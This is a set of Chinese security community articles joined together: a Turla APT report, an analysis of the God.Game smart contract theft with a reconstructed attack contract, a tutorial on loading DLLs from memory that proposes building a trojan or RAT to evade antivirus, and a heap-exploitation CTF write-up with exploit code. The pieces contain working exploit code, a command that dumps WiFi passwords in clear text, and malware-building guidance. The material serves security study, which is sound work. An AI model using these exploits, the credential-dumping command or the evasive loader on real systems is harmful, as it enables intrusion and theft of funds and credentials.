Turla”私人报告（可供卡巴斯基APT智能服务的客户使用）中我们可以看到相关的报道。不过最近它们部署的KopiLuwak后门功能更加复杂和全面。
IcedCoffee最初被漏洞利用相关的RTF文档丢弃，后来又被支持宏的Office文档丢弃。 用于删除IcedCoffee的宏代码是White
Atlas中与许多Turla工具中的代码共享一致的修改过的版本。
一个值得注意的与宏代码相关的改变是添加了一个简单的Web信标，它在执行宏时将基本信息转发给Turla控制的服务器。这个操作不仅有助于简要记录被攻击者，还可以用于追踪攻击是否有效。
IcedCoffee是一个基础后门，它使用WMI从系统中收集各种用户信息，然后用base64编码，用RC4加密并通过HTTP POST提交给C2服务器。
IcedCoffee没有内置命令功能，而是可以从C2服务器接收javascript文件，这些文件在内存中进行反模糊处理和执行，在磁盘上不留任何痕迹进行取证分析。
但IcedCoffee没有被广泛部署，而是被用于欧洲政府外交官、大使。
#### KopiLuwak
2016年11月，卡巴斯基实验室从新一期的攻击化宏文档中观察到了一个新的、严重混淆的Javascript有效载荷，我们将其命名为KopiLuwak（世界上最稀有和昂贵的咖啡类型之一）。
这种新型恶意软件的定位与早期的Turla运营一致，主要集中用在在欧洲政府，但它比IcedCoffee更有选择性地部署。
KopiLuwak脚本非常类似于之前在IcedCoffee中看到的代码。这些脚本均是由宏代码解码，但生成脚本并不是最后一步。在该脚本的执行中，我们使用相关参数作为RC4的密钥，而该参数可解密包含系统信息以及命令和控制信标功能的javascript附加层。
KopiLuwak搭建了功能更为全面的系统和网络侦察工具。所以像IcedCoffee脚本在磁盘上留下的痕迹很少，以便调查人员无法发现其基本的内容。
与IcedCoffee不同，KopiLuwak包含一组基本的命令，例如运行任意系统命令和自行卸载。
在2017年中期新版本发布，在新版本中该命令集得到了进一步增强。内容包括文件下载和数据泄露功能。
在2018年中期，KopiLuwak有所变化，当时我们观察到叙利亚和阿富汗的小部分系统被定位为新的传递载体。
在这个事件中，KopiLuwak后门被编码并以一个Windows快捷方式（.lnk）文件呈现。
lnk文件特别有趣，因为它们包含的用于解码和释放有效负载的powershell代码几乎与一个月前Zebrocy黑客人员所使用的代码相同。
### 碳（Carbon攻击工具）—尾随其后
Carbon继续被部署在中亚的政府和外交事务相关组织中。
自2014年以来，该地区的Carbon部署已经转移到少数几个国家。在这里，我们发现了一个新的配置装置v3.8.2和一个部署到多个系统的新注入传送库v4.0.8。
虽然我们无法确定注入攻击的具体交付事件，但其呈现的现象与meterpreter的存在相吻合。
meterpreter的依赖性也与我们在2017年底和2018年初记录的Turla使用开源工具这一事件相吻合。
2014年报告的Epic Turla运营涉及高度选择性的Carbon交付操作影响了数百名受害者。
这些系统中只有一小部分被升级为“Carbon框架”恶意软件，甚至少量的人因为“极端持久性”而收到了Snake rootkit的攻击。
众所周知，Carbon具有悠久的历史和非常有选择性的交付，是一个复杂的代码库，并且与Snake rootkit的开发和部署相吻合。
有趣的是这个代码库目前正在处于修改阶段，预计在2018年此代码库会将其他变种部署到目标上去。
我们期望对Carbon框架代码进行修改并预测出这个成熟代码库部署在中亚以及可控区域将持续到2019年。
针对这样复杂模块的研究必须付出一些努力和投入，而相应的装载工具/注入工具和横向移动恶意软件将会更改为开源，这个后门程序包及其基础设施很可能在短期内不会被完全替换。
### .JS附件提供Skipper / WhiteAtlas和WhiteBear
我们在2017年初向客户介绍了WhiteBear可操作数据，并在8个月后公开分享了该报告的相关分析。 同样，这系列活动持续超出了我们的预期。
这是一件十分有趣的事情，因为WhiteBear与KopiLuwak同样拥有相同的受损架构：soligro [.] com。
WhiteBear脚本spearphish附件也跟进了最初的WhiteAtlas脚本开发和部署工作。
### Mosquito改变了2018年的交付技术
在2018年3月，我们的私人报告客户收到了关于Mosquito包含无文件和定制的Posh-SecMod metasploit组件的可操作数据。
当该组织的metasploit使用被公之于众时，他们的策略也发生着变化。
“DllForUserFileLessInstaller”注入模块维护了2017年11月22日的编译日期。Mosquito开始使用它将ComRAT模块注入到2018年1月左右的内存中。它是一小段用于解决Wow64的问题的metasploit注入代码。
此外，相关的开源PowerShell注册表加载器代码被修改，为避免使用AES算法，他们选择了3DES加密以代替。 这是修改后的Mosquito代码：
这是他们从中删除的默认Posh-SecMod代码：
我们期望在整个2018年看到来自Mosquito的更多基于开源的无文件组件和内存加载器。也许这种恶意软件能力的增强表明他们对维持攻击当前受害者比开发攻击性技术更感兴趣。
### 中间人攻击与躲避Mosquito网络
我们于2017年初向我们的英特尔客户提供了有关Mosquito的可操作数据。我们的初步调查结果包括了针对木马安装程序的合法下载URL：
`hxxp://admdownload.adobe[.]com/bin/live/flashplayer23ax_ra_install.exe`
虽然我们当时无法准确识别中间人攻击，但这些事件很可能使用WiFi中间人攻击或路由器。
考虑到全球多个远程位置的目标，使用ISP级别的FinFisher中间人攻击是不太可能的。
然而还有更多的事件需要详述。 在某些情况下，两个“.js”文件被写入磁盘，受感染的系统被配置为在启动时运行它们。
他们的命名使系统可以了解他们本身的意图，即通过谷歌应用程序远程更新恶意软件，并通过在每次启动时加载和运行“1.txt”来维护本地设置更新。
在某种程度上，这种分阶段的脚本加载技术似乎与过去专注于欧洲政府组织的Turla事件中观察到的IcedCoffee javascript加载技术一致。
从服务器端提供更新也会减少恶意软件的出现。
`google_update_checker.js`
`local_update_checker.js`
因此，由于尚未公开记录，我们应该考虑Mosquito Turla在这些更新期间进行的wifi数据收集活动。 编写并运行此local_update
js文件后，几个Mosquito安装程序包执行的第一步是使用命令行调用所有本地主机的WiFi配置文件（设置和密码），并将其导出到％APPDATA％\
<profile> .xml：</profile>
`cmd.exe /c netsh wlan export profile key=clear folder="%APPDATA%"`
然后，他们通过调用ipconfig和arp -a来收集更多网络信息。
维持目标网络正在进行的主机wifi凭证收集工作，使得恶意软件更容易对wifi网络的持续访问以便进行欺骗和中间人攻击。因为暴力破解或以其他方式破解弱安全的WiFi网络是不必要的。
这种依赖于位置的入侵和访问的特定方法对于Mosquito Turla而言正在摒弃，因为我们还没有发现提供木马化代码的新URL。
### 下一次打击
观察目前正在进行的攻击与其他APT活动是否具有相似性非常有趣的。
我们注意到Turla没有出现在里程碑式的DNC黑客活动中，不过Sofacy和CozyDuke都在场，但Turla在全球其他的项目中依然活跃，并为这一群体的持续运作提供了一些见解和信心。
有趣的是，与这些组织相关的攻击方法尚未公开，但Turla活动却正在悄然进行。
Turla的Mosquito和Carbon项目主要关注外交和国外事务。
虽然WhiteAtlas和WhiteBear活动在全球范围内扩展到外事相关组织，但并非所有受害方都始终遵循此配置。
科学和技术中心也成为攻击目标，政治领域以外的组织也受到关注。 Turla的KopiLuwak活动并不一定关注外交/国外事务，也不一定会走上另一条道路。
相反，2018年的活动针对政府相关的科学和能源研究组织、阿富汗政府相关的通信组织。 这种高度选择性等更为广泛的定位设置很可能会持续到2019年。
从攻击目标角度来看，我们看到KopiLuwak和WhiteBear活动之间的联系更为紧密。Mosquito和Carbon活动之间也如此。
WhiteBear和KopiLuwak在部署不寻常的.js脚本时拥有基础架构。
当我们看到更多的meterpreter和注入代码时，开源攻击性恶意软件可能会更多地出现在Mosquito和Carbon攻击中，而更多独特创新的复杂恶意软件将继续被KopiLuwak所使用并可能受到WhiteBear的关注。
正如我们从先前的zebrocy鱼叉式网络钓鱼技术看到的那样，技术会不断地被传递并被重复使用。 | 社区文章 |
**作者：Sissel@知道创宇404区块链安全研究团队
时间：2018年8月24日**
### 0x00 前言
> 当你凝视深渊时，深渊也在凝视着你。
越来越多的乐透、赌博游戏与区块链体系结合起来，步入众多投资者和投机者的视野中。区块链可以说是这类游戏的温床。正面来说，区块链的可信机制与合约的公开，保证了游戏的中立。另一方面，区块链的非实名性，也让玩家的个人信息得以隐藏。
分红、邀约、股息，这些游戏看似利益诱人，实则一个个都是庞氏骗局。游戏火了，诈骗满满皆是。每个人都信心满满地走进游戏，投入大笔资金，希望自己成为受益者，别人都是自己的接盘侠。这样的游戏，只有两个结局，不是游戏所有者获益，就是半路杀进游戏的区块链黑客卷走一切，让玩家血本无归，无一例外。日复一日，无数投机者交了学费，空手而归，却又毫不死心，重入深渊。
游戏依然层出不穷，不信邪的人也是接连不断。近日，国内出现了一款类PoWH的银行游戏，在两周的宣传过后，短短数日，就完成了游戏创建、集资、黑客卷钱走人这一整个流程，让无数玩家措手不及。
#### 时间线
* 2018年08月19日晚十一点半，宣传良久的区块链赌博游戏God.Game合约被创建于以太坊6176235区块。在之后的两天时间，游戏内加入了大量玩家，合约内存储的以太币也增加到了243eth。
* 2018年08月21日凌晨一点钟，[攻击者](https://etherscan.io/address/0x2368beb43da49c4323e47399033f5166b5023cda)经过简单的测试，部署了一个攻击合约。短短几分钟时间，利用游戏合约漏洞，将合约账户的eth洗劫为空。
知道创宇404区块链安全研究团队得知此事件后，对游戏合约进行了仔细审计，复现了攻击者的手法，接下来，将对整个事件进行完整的分析，并给出一种简洁的利用方式。
### 0x01 合约介绍
智能合约名为God，地址为
[0xca6378fcdf24ef34b4062dda9f1862ea59bafd4d](https://etherscan.io/address/0xca6378fcdf24ef34b4062dda9f1862ea59bafd4d)，部署于
[6176235](https://etherscan.io/block/6176235)，发行了名为[God币](https://etherscan.io/token/0xca6378fcdf24ef34b4062dda9f1862ea59bafd4d)的代币(erc20
token)。
God.Game主要是一个银行合约，代码有上千行，较为复杂。如果之前对PoWH3D等类似合约有过接触，God便不难理解。下面我们介绍些简单概念。
#### ERC20 token
token代表数字资产，具有价值，通过智能合约发行于区块链上，我们可以称之为代币。符合ERC20协议的代币可以更容易互换，方便的在交易所上市。God币便是符合ERC20协议的代币。
#### 合约功能
在God.Game中，你可以通过eth购买token(god币)，当你拥有了token，相当于参加了这个游戏。
* 购买token：会产生一定的手续费，除了主办方会收取一部分外，还有一部分将会均分给所有token持有者，也就是所谓的分红。
* 转账token：你可以将手中的token转账给他人。
* 出售token：将手中的token出售为可提款。
* 提取红利：将分红转为以太币提取出来。
* 邀请机制：当你拥有多于100个token，将开启邀请系统。他人使用你的地址，你将会获得较多的手续费提成作为分红。【攻击未涉及该功能】
token与eth的兑换、分红的多少，都与token的总量以及持有者有关，不断变化。
#### 代码浅析
我们将简要介绍合约中出现的几个重要变量。
在开始介绍前，请先记住一个概念： **红利由 账户token的价值 - payout 得到，时常变化，而不是记录这个变量** 。
##### 用户信息
* `token`【代币】是确定的数量，用户的token仅可通过自己buy、sell、transfer变动。
* token * profitPerShare 可以看作是`账户token的价值`。
* payouts 我们称之为已经用过的钱。【这个定义并不严谨，可以叫控制账户红利的值】
* token * profitPerShare - payoutsTo_ 可以看作`用户在此合约内现在可以使用的钱`， 定义为红利。
合约通过控制payoutsTo的值，来控制用户可用的钱，即红利【用来提eth，或再向God合约购买token】。
##### 全局变量
以下变量是全局中浮动的
##### 重要的临时变量
dividends = 账户总价值 - 已用的钱【payout】
dividends这个变量并不存储，不然每当其他参数变动时，需要计算所有人的分红。
每次使用时，通过myDividends(false)计算，而这个函数在不涉及推荐功能时，仅调用了`dividendsOf(address
customerAddress)`。
这里也是本次攻击的溢出点。
### 0x02 漏洞点
漏洞点有两处，简而言之，是当被转账账户是合约账户时，处理有误造成的。
#### 计算分红
function dividendsOf(address _customerAddress)
view
public
returns (uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
从上面得知，分红可用来提eth，或再次购买token。 分红本应永远为正数，这里的减法未使用safeMath，最后还强制转换uint，会造成整数溢出。
我们需要控制payoutsTo和token的关系。
#### 转账transfer()
// exchange tokens
tokenBalanceLedger_[_from] = SafeMath.sub(tokenBalanceLedger_[_from], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
我们看到，如论如何转账，token一定是一方减少，另一方增加，符合代币的特点。
if (fromLength > 0 && toLength <= 0) {
// contract to human
contractAddresses[_from] = true;
contractPayout -= (int) (_amountOfTokens);
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
} else if (fromLength <= 0 && toLength > 0) {
// human to contract
contractAddresses[_toAddress] = true;
contractPayout += (int) (_amountOfTokens);
tokenSupply_ = SafeMath.sub(tokenSupply_, _amountOfTokens);
payoutsTo_[_from] -= (int256) (profitPerShare_ * _amountOfTokens);
这里是God中，针对转账双方的账户类型【外部账户、合约账户】采取的不同操作。
我们会发现，transfer()函数并未对`合约账户`的payoutsTo进行操作。而是仅修改了`contractPayout`这个和God合约参数有关的全局变量。
导致`合约账户`中 token(很多) * profitPerShare(常量) - payoutsTo(0)
非常大。正常来讲，payoutsTo应该变大，令账户的`dividends`为 0。
这种写法非常奇怪，在ERC20的协议中，当被转账账户为合约时，只需要合约拥有该代币的回调函数即可，没有别的要求。
### 0x03 攻击链
这样我们就可以得到大致的攻击链： 再次注意，红利 dividens = token * token价值 - payout(用户已经花了的部分)。 即
可用的钱 = 总价值 - 已用的钱
1. 攻击者 ==转账==> 攻击合约
合约状况：
2. 攻击合约 withdraw()
合约状况：
3. 攻击合约 ==转账==> 攻击者
合约状况：
4. 攻击合约 reinvest()
合约状况：
再投资【使用红利购买token】，通过大量的红利，可以随意购买token，进而sell()+withdraw()提出eth，完成攻击。
### 0x04 实际流程
攻击者首先部署了几个测试的攻击合约，因为一些原因之后未使用，可能仅供测试。
#### 攻击合约逆向
知道创宇404区块链安全研究团队使用昊天塔，对攻击者部署的合约进行了逆向，得到了攻击合约大致代码。
得到的函数列表
0x0: main()
0xa2: withdraw()
0xb7: ownerWithdraw()
0xcc: owner()
0xfd: myTokens()
0x124: transfer(address,uint256)
0x148: tokenFallback(address,uint256,bytes)
0x1c5: sell(uint256)
0x1dd: exit()
0x1f2: func_ee2ece60
0x207: buy(address)
0x21b: func_f6613ff5
0x230: reinvest()
而具体分析函数内容，发现该合约大部分函数都是以本合约发起对God合约的调用，例如：
function withdraw() public {
if (msg.sender == 0x2368beb43da49c4323e47399033f5166b5023cda){
victim.call(bytes4(keccak256("withdraw()")));
}
}
对照攻击者交易明细，我们来复现攻击流程。我们假设token对应红利是1:1，便于解释。
1. 部署攻击合约
tx:[1\.
部署合约](https://etherscan.io/tx/0x588509fdc98457887b955a4133cafaeda20ebe276e5aeaae32c816cdd082e153)
攻击者部署合约，准备攻击。
合约地址：[0x7F325efC3521088a225de98F82E6dd7D4d2D02f8](https://etherscan.io/address/0x7f325efc3521088a225de98f82e6dd7d4d2d02f8)
2. 购买token
tx:[2\.
购买token](https://etherscan.io/tx/0xf0784e082cd71621dd459ca1cbff12a523809216b1aa97af790ec9fe08955b92)
攻击者购买一定量token，准备攻击。
3. 向攻击合约转账token
tx:[3\. transfer(attacker -> attack-contract)](https://etherscan.io/tx/0x5f5cf4b0e7ad914124f2b95781069adbc0ee681884dac11d43f8c41022b51ee9)
攻击者本身购买了少量token，使用游戏合约中的transfer()，向攻击合约转账。
4. 攻击合约withdraw()
tx:[4\.
withdraw()](https://etherscan.io/tx/0x87b1d2811af27b358a585194264cfa6266f37b13b72e1d4f98a8633f09966880)
攻击合约调用了God的withdraw()，攻击合约因此获得了红利对应以太币【不重要】
5. 攻击合约transfer()
tx:[5\. transfer(attack-contract ->
attacker)](https://etherscan.io/tx/0x5f5cf4b0e7ad914124f2b95781069adbc0ee681884dac11d43f8c41022b51ee9)
将token转回，攻击合约token不变，红利溢出。
6. 攻击合约reinvest()
tx:[6\.
reinvest()](https://etherscan.io/tx/0x368688a944059fdd657e7842d8762b05250bd45f3a2a16cbae1b29727023b00f)
再投资，将红利买token，可以大量购买token。
7. 攻击合约sell()
tx:[7\.
sell()](https://etherscan.io/tx/0xa0ba99f78ab8c346256a2414a9aa3c25d84b09423ad84da2998661c130edee36)
卖出一部分token，因为发行的token过多，会导致token价值太低，提取以太币较少。
8. 攻击合约transfer()
tx:[8\. transfer(attack-contract ->
受益者)](https://etherscan.io/tx/0x446a009cc560abbf9fcf95af1507c5f5e9a40e96409cefcbb42ebf2fdad48d23)
把智能合约账户的token转给受益者(0xc30e)一部分。
9. 受益者sell()+withdraw()
受益者(0xc30e)卖掉token，并withdraw()红利，得到以太币。
### 0x05 更简单的攻击手法
回顾上述攻击流程，攻击成立主要依赖 **红利由 token - payout 得到，时常变化，而不是记录** 这个特性。
在交易token时，变化的只是双方持有的token数，双方的红利应该不变，换言之，就是用户的payout也需要变化才能保证红利变化。
漏洞就在于在用户和合约交易token时，合约方的payout并没有相应的增加，导致红利平白无故的多出来，最终导致了凭空生币。
这样一来，我们就可以使用更简单的攻击手法。
下面是详细的介绍：
1. 攻击者 ==转账==> 攻击合约
合约收到转账时，红利本应为0，却变得很多，账户可用资金变得很多。
2. 攻击合约 withdraw()
把可用的钱提款为eth，token不变。
3. 攻击合约 ==转账==> 攻击者
token原路返回攻击者，token不变，但合约中多出了 eth 。
我们发现智能合约在这个过程中，因为接受转账未增加payout，导致在第二步中可以提取不少的以太币，并在第三步将token原路转回。
这一过程，合约账户便可凭空得到以太币。而只需要支付一部分手续费以及token的轻微贬值。如此反复创建新的合约，并按以上步骤，可以提出God.Game中大量的以太币。
#### 注意事项
此攻击方法理论成立，还需仔细考察手续费和token价值变化等细节问题，但从合约中提取部分以太币是可行的。
#### 具体分析
1. 购买token
攻击者购买一定量token，准备攻击。
2. 向攻击合约转账token
攻击者本身购买了少量token，使用游戏合约中的transfer()，向攻击合约转账。
3. 攻击合约调用 withdraw()
withdraw() 的主要逻辑如下：
攻击合约调用withdraw()，通过以太币的形式取出利息 dividents。
4. 攻击合约transfer()
将token转回，攻击者token恢复为1000。
### 0x06 总结
以上就是God.Game合约的分析，以及本次攻击的复现。这次攻击的发生距离合约部署仅有两天，整个攻击流程非常巧妙。按照前面的分析，仅通过合约账户的withdraw()就可以提出以太币。但攻击者还利用了红利溢出，进而获得了大量的token。根据上面多方面因素，虽然主办方在事件发生后声明自己是受害者。但是根据telegram上记录，主办方在游戏开始之前就再未查看玩家群。这些现像，引人深思。
区块链游戏看似充满诱惑，实则迷雾重重。无论如何谨慎，都有可能跌入深渊。谁也不知道游戏背后的创建者究竟有什么打算，但人皆贪婪，有钱财的地方，必有隐患。
### 0x07 相关链接
* PoWH 3D 源码分析
<https://github.com/Fabsqrt/BitTigerLab/tree/master/Blockchain/Classes/PoWH3D>
* God.Game官网
<http://god.game/#/>
* * *
**智能合约审计服务**
针对目前主流的以太坊应用，知道创宇提供专业权威的智能合约审计服务，规避因合约安全问题导致的财产损失，为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队： https://www.scanv.com/lca/index.html
联系电话：(086) 136 8133 5016(沈经理，工作日:10:00-18:00)
欢迎扫码咨询：
**区块链行业安全解决方案**
黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵，给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验，凭借多重防护+云端大数据技术，为区块链应用提供专属安全解决方案。
欢迎扫码咨询：
* * *
### 附录1 此次事件相关地址
* God合约创建者 0x802dF0C73EB17E540b39F1aE73C13dcea5A1CAAa
* God合约地址 0xCA6378fcdf24Ef34B4062Dda9F1862Ea59BaFD4d
* 最终以太币存储的账户 0xC30E89DB73798E4CB3b204Be0a4C735c453E5C74
* 攻击者 0x2368beb43da49c4323e47399033f5166b5023cda
* 攻击合约 0x7f325efc3521088a225de98f82e6dd7d4d2d02f8
* * *
### 附录2 God.Game合约的函数分析
* buy() - 购买token
* sell() - 出售token
未使用的分红增加，可用来withdraw(提款)或reinvest(再投资)。
* withdraw() - 将分红清0，分红换为eth取出
清零分红，获得相应的eth。
* reinvest() - 再投资
消耗掉账户的分红，换成token。
* transfer() - 转账
from:
to:
### 附录3 根据昊天塔逆向结果，构造的攻击合约
pragma solidity ^0.4.23;
contract Attack {
address public owner;
address public victim;
function Attack() payable { owner = msg.sender; }
function setVictim(address target) public { victim = target; }
function withdraw() payable public {
victim.call(bytes4(keccak256("withdraw()")));
}
function reinvest() payable public {
victim.call(bytes4(keccak256("reinvest()")));
}
function transfer(address to_, uint256 amount) payable public{
victim.call(bytes4(keccak256("transfer(address,uint256)")),to_,amount);
}
function () payable public{}
function tokenFallback(address _from, uint _amountOfTokens, bytes _data) public returns (bool){
return true;
}
}
* * * | 社区文章 |
**本文描述了一种动态链接库（DLL）如何从内存中加载，而不首先将其存储在硬盘上的技术。**
### 概述
默认的Windows
API函数加载外部库到程序（LoadLibrary，LoadLibraryEx）与文件系统上的文件进行通信工作,因此不可能从内存中加载dll。但有时，我们需要确切的功能，也就是不让文件落地磁盘，从而减小被杀毒软件检测风险。所以有了内存动态加载文件的思路出现，比较典型的就是反射DLL技术，本地内存DLL反射等技术，本文要讲的是内存加载DLL技术。
### 0x00 简介
内存加载DLL技术和反射DLL技术的利用方式相近，这两种技术都是从内存中加载dll，因为文件不落地磁盘，所以杀毒软件检测有一定难度。
在大多数文章中，我们看到的介绍都是比较简单的，直接给出代码，其原理解释也是比较少的，所以我们要自己定制功能就需要大量的修改代码。目前来讲，内存加载DLL技术比反射DLL技术应用少，主要是反射DLL需要的loader大小和代码量比内存加载DLL的少;
反射DLL主要加载代码在DLL中，而内存加载DLL的主要代码在loader中，所以造成了内存加载DLL的应用不如反射DLL的广，但是这样并不影响我们过杀软的检测和其功能的隐蔽性。
### 0x01 技术实现
内存加载DLL其实并不算神秘，也不是什么新技术，技术也是十几年前的，但是关注这方面的人很少。内存加载DLL可以说就是在本地重新写了一个PE装载器，把DLL加载进内存读取运行，仅此而已，但是它过查杀效果是很好的。
一般地，导入加载DLL，我们需要重定位和修复DLL的导入导出表，找到我们需要调用的函数地址，加载它。
详细的加载步骤如下：
打开给定的文件并检查DOS和PE头文件。
尝试分配一个字节的内存块在peheader.optionalheader.imagebase位置上。
解析section headers 和复制sections到它们的地址。每一段的section分配到内存块的相对地址，存储在image_section_header结构的virtualaddress属性中。
如果分配的内存块不同于ImageBase的基址。代码或数据段中的各种引用必须进行调整。这就是地址重定位。
必须通过加载相应的库来解决库所需的导入。
不同部分的内存区域必须根据节的特性进行保护。有些部分被标记为可以丢弃，因此可以安全地释放。在这一点上，这些部分通常包含在导入期间需要的临时数据，用于地址重定位的信息。
现在，这个库已完全加载。它必须被通知通过dll_process_attach调用的入口点。
首先，我们要把完整的DLL数据加载进内存，然后调用函数 MemoryLoadLibrary()来进行重定位操作
HMEMORYMODULE MemoryLoadLibrary(const void *data)
{
return MemoryLoadLibraryEx(data, _LoadLibrary, _GetProcAddress, _FreeLibrary, NULL);
}
MemoryLoadLibraryEx()函数返回加载后的数据和导出函数地址等。
现在，我们已经找到了相关DLL的数据，我们在得到DLL的句柄后，利用函数MemoryGetProcAddress()得到DLL的导出函数，进而把程序控制权交给DLL。
FARPROC MemoryGetProcAddress(HMEMORYMODULE module, LPCSTR name)
{
unsigned char *codeBase = ((PMEMORYMODULE)module)->codeBase;
int idx=-1;
DWORD i, *nameRef;
WORD *ordinal;
PIMAGE_EXPORT_DIRECTORY exports;
PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY((PMEMORYMODULE)module, IMAGE_DIRECTORY_ENTRY_EXPORT);
if (directory->Size == 0) {
// no export table found
SetLastError(ERROR_PROC_NOT_FOUND);
return NULL;
}
exports = (PIMAGE_EXPORT_DIRECTORY) (codeBase + directory->VirtualAddress);
if (exports->NumberOfNames == 0 || exports->NumberOfFunctions == 0) {
// DLL doesn't export anything
SetLastError(ERROR_PROC_NOT_FOUND);
return NULL;
}
// search function name in list of exported names
nameRef = (DWORD *) (codeBase + exports->AddressOfNames);
ordinal = (WORD *) (codeBase + exports->AddressOfNameOrdinals);
for (i=0; i<exports->NumberOfNames; i++, nameRef++, ordinal++) {
if (_stricmp(name, (const char *) (codeBase + (*nameRef))) == 0) {
idx = *ordinal;
break;
}
}
if (idx == -1) {
// exported symbol not found
SetLastError(ERROR_PROC_NOT_FOUND);
return NULL;
}
if ((DWORD)idx > exports->NumberOfFunctions) {
// name <-> ordinal number don't match
SetLastError(ERROR_PROC_NOT_FOUND);
return NULL;
}
// AddressOfFunctions contains the RVAs to the "real" functions
return (FARPROC) (codeBase + (*(DWORD *) (codeBase + exports->AddressOfFunctions + (idx*4))));
}
在执行完DLL后，对资源进行释放MemoryFreeLibrary()。
void MemoryFreeLibrary(HMEMORYMODULE mod)
{
int i;
PMEMORYMODULE module = (PMEMORYMODULE)mod;
if (module != NULL) {
if (module->initialized != 0) {
// notify library about detaching from process
DllEntryProc DllEntry = (DllEntryProc) (module->codeBase + module->headers->OptionalHeader.AddressOfEntryPoint);
(*DllEntry)((HINSTANCE)module->codeBase, DLL_PROCESS_DETACH, 0);
module->initialized = 0;
}
if (module->modules != NULL) {
// free previously opened libraries
for (i=0; i<module->numModules; i++) {
if (module->modules[i] != NULL) {
module->freeLibrary(module->modules[i], module->userdata);
}
}
free(module->modules);
}
if (module->codeBase != NULL) {
// release memory of library
VirtualFree(module->codeBase, 0, MEM_RELEASE);
}
HeapFree(GetProcessHeap(), 0, module);
}
}
由于篇幅问题，不可能把代码全部贴出来讲解，内存加载DLL的大概就是这个样子的。
> 1. 首先，我们读取DLL数据到内存中
> 2. 利用第三方函数进行DLL的重定位操作
> 3. 拿到内存中DLL的相关数据，比如：当前内存中DLL的地址，导出函数，DLL资源等
> 4. _GetProcAddress()拿到DLL导出函数地址
> 5. 直接调用导出函数
> 6. 释放DLL资源
>
详细的代码请参考地址：<http://github.com/fancycode/memorymodule>
详细的原理请参考地址：<https://www.joachim-bauch.de/tutorials/loading-a-dll-from-memory/>
### 0x02 加载测试
编写一个DLL，没错，就这么简单
extern "C" {
SAMPLEDLL_API int addNumbers(int a, int b)
{
return a + b;
}
}
把DLL加载进内存并用DLLloader调用addNumbers函数
执行结果
### 0x03 实际应用
我们可以用此加载方法做一个云端木马。
我们在VPS上搭建一个Web服务器，在上面用一个页面放一个DLL文件的数据，然后读取数据并加载进内存。
我们也可以把它用于DLL劫持利用，分解型后门的组合式调用等等。
当然，我们也可以做一个RAT工具，内存加载DLL的具体应用如下
我们利用工具生成内存加载Loader程序
另一端进行监听，当Loader连接过来时，我们发送需要调用的DLL程序过去，进而控制被攻击机器
**被攻击机器**
**过杀软效果**
我们可以看到，在没有进行任何免杀过程中，只有一款杀软报毒，过杀软效果还是很好的，杀毒软件检测截图
<http://r.virscan.org/report/a27eb8603abaedf2278d059b11aa8540> | 社区文章 |
# pwn堆入门系列教程10
[pwn堆入门系列教程1](https://xz.aliyun.com/t/6087)
[pwn堆入门系列教程2](https://xz.aliyun.com/t/6169)
[pwn堆入门系列教程3](https://xz.aliyun.com/t/6252)
[pwn堆入门系列教程4](https://xz.aliyun.com/t/6322)
[pwn堆入门系列教程5](https://xz.aliyun.com/t/6377)
[pwn堆入门系列教程6](https://xz.aliyun.com/t/6406)
[pwn堆入门系列教程7](https://xz.aliyun.com/t/6449)
[pwn堆入门系列教程8](https://xz.aliyun.com/t/6473)
[pwn堆入门系列教程9](https://xz.aliyun.com/t/6556)
这个系列完结了吧，入门系列做到这里我感觉已经入门了，后面的就是靠自己去多练习，多学新点了，我这系列最后一篇就发下近期遇到的一些骚操作和新思路吧
## unctf Box
### 漏洞点
数组index是可以输入负数的，就是不会利用,后面看了萝卜师傅的wp才知道可以直接改IO_stdout
我是傻逼！这都想不到
然后有个double free,新点记录下
* size == 0 ，这个时候等同于free
* realloc_ptr == 0 && size > 0 ， 这个时候等同于malloc
* malloc_usable_size(realloc_ptr) >= size， 这个时候等同于edit
* malloc_usable_size(realloc_ptr) < szie， 这个时候才是malloc一块更大的内存，将原来的内容复制过去，再将原来的chunk给free掉
所以利用这个点第一次可以用普通的
1. free(ptr)
2. realloc(ptr,0)
这就是double free
### 漏洞利用
1. 利用IO_stdout泄露libc地址
2. 利用double free改realloc为one_gadget
#### 准备工作
def c(idx):
sla("Your Choice: ", str(idx))
def new(idx, size):
c(1)
sla("Box ID: ", str(idx))
sla("Box Size: ", str(size))
def edit(idx, content):
c(2)
sla("Box ID: ", str(idx))
sla("Box Content: ", content)
def free(idx):
c(3)
sla("Box ID: ", str(idx))
def exit():
c(4)
#### 泄露libc地址
payload = p64(0xfbad1800)+ p64(0)*3 + '\x00'
edit(-12, payload)
lg("text_base", text_base)
addr = uu64(r(8))
libc.address = addr - 0x18c7c2
if (libc.address&0xffff)%0x1000!=0:
raise EOFError
lg("addr", addr)
这里就是IO_FILE攻击，不清楚的可以自己学下，这里我学到个新操作。。我调试的时候要生要死的，没想到抛出异常，多亏大佬博客了，还有自己复现的时候用ida把前面一段打开文件那部分patch掉吧，不然感觉效率太慢了。。。
#### double free
这里还有个uaf
new(0, 0x68)
new(1, 0x68)
free(0)
new(1, 0)
new(0, 0)
new(0, 0x68)
new(1, 0x68)
edit(0, p64(libc.symbols['__malloc_hook']-0x23))
new(2, 0x68)
new(3, 0x68)
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
realloc = libc.symbols['__libc_realloc']
malloc_hook = libc.symbols['__malloc_hook']
malloc = libc.symbols['__libc_malloc']
这里常规操作，接下来的才是重头戏
#### one_gadget失败
payload = "a"*0xb + p64(0xAAAAAAAA)
#payload = "a"*0xb + p64(malloc+0x1) + p64(libc.address + one_gadget[2])
payload = "a"*0xb + p64(malloc+0x2) + p64(libc.address + one_gadget[1])
edit(3, payload)
gdb.attach(io)
new(0, 1)
这里你用payload = "a"*0xb + p64(one_gadget)你会发觉成功不了，
而malloc_hook和realloc_hook通常是一起的，所以我们可以利用这个组合达到一个目的，调整栈过后在one_gadget,具体如何往下看
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
